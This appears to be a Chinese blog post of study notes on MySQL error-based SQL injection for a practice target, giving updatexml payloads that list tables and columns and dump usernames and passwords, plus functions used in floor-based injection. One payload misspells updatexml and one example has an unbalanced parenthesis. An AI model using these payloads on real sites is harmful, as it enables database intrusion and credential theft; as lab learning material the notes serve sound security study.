sql知识总结二(接上)

2.updatexml报错注入

(1)判断字符型/数字型

如果是字符型再判断闭合方式(备注:结尾加--+看是否闭合,若页面正常执行则闭合完成)

?id=1") and 1=updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) --+

concat() 合并字符

优先执行彩色部分命令

?id=1" and 1=updatexml(1,concat('~',(select database())),3)--+

?id=1") and 1=updataxml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),3)

?id=1") and 1=updatexml(1,concat(0x7e,(select group_concat(username,password) from users)),3) --+

?id=1")and 1=updatexml(1,concat(0x7e,(select substring(group_concat(username,':',password),1,30) from users)),3)--+

显示1~30字符

?id=1")and 1=updatexml(1,concat(0x7e,(select substring(group_concat(username,':',password),30,30) from users)),3)--+

#显示30~50字符,第30 个字符为

(2)靶机用户名密码存放位置的表名和列名

数据库information_schema中的数据表tables下数据列table_name和数据表columns下数据列column_name

(3)函数

database()数据库库名

group_concat() 把查询到的结果合并到一行显示

concat() 合并字符

substring(),00,30 从00个字符开始显示30个字符

3.floor报错注入

(1)涉及到的函数

rand()函数,随机返回0~1间的小数

floor()函数,小数向下取整数。 向上取整数ceiling()

concat_ws()函数,将括号内数据用第一个字段连接起来

group by 分组

as 别名

count(),汇总统计数量

limit,这里用于显示指定行数

rand()函数

>select rand();计算结果在0~1之间

>select rand()*2; 计算结果在0~2之间

>select rand() from users; 根据users的行数随机显示结果

floor()函数

>select floor(rand()*2); 结果随机为0或1

concat_ws函数,将括号内数据用第一个字段连接起来

>select concat_ws('-',(select database()),floor(rand()*2);

相关推荐
苍煜15 分钟前
一篇讲懂分库分表:概念、spirngboot实战
数据库·oracle
梦想画家25 分钟前
PostgreSQL 物化视图实战:从数据固化到智能刷新的全链路指南
数据库·postgresql·物化视图
weoptions28 分钟前
简单sql注入中如何通过简单语句判断注入类型&注入方法
数据库·sql
小短腿的代码世界37 分钟前
Qt数据库编程深度解析:从SQL基础到ORM架构设计
数据库·sql·qt
Database_Cool_1 小时前
在 RDS PostgreSQL 中实现 RaBitQ 量化
数据库·阿里云·ai·postgresql
【心态好不摆烂】1 小时前
MySQL操作库
数据库·mysql
Javatutouhouduan1 小时前
Java小白如何快速玩转Redis?
java·数据库·redis·分布式锁·java面试·后端开发·java程序员
Lyyaoo.3 小时前
Redisson
数据库·缓存
网络工程小王3 小时前
【LCEL 链式调用详解】调用篇-2
java·服务器·前端·数据库·人工智能
道法自然,人法天4 小时前
PostgreSQL安装与初始化教程(二进制压缩包)
数据库·postgresql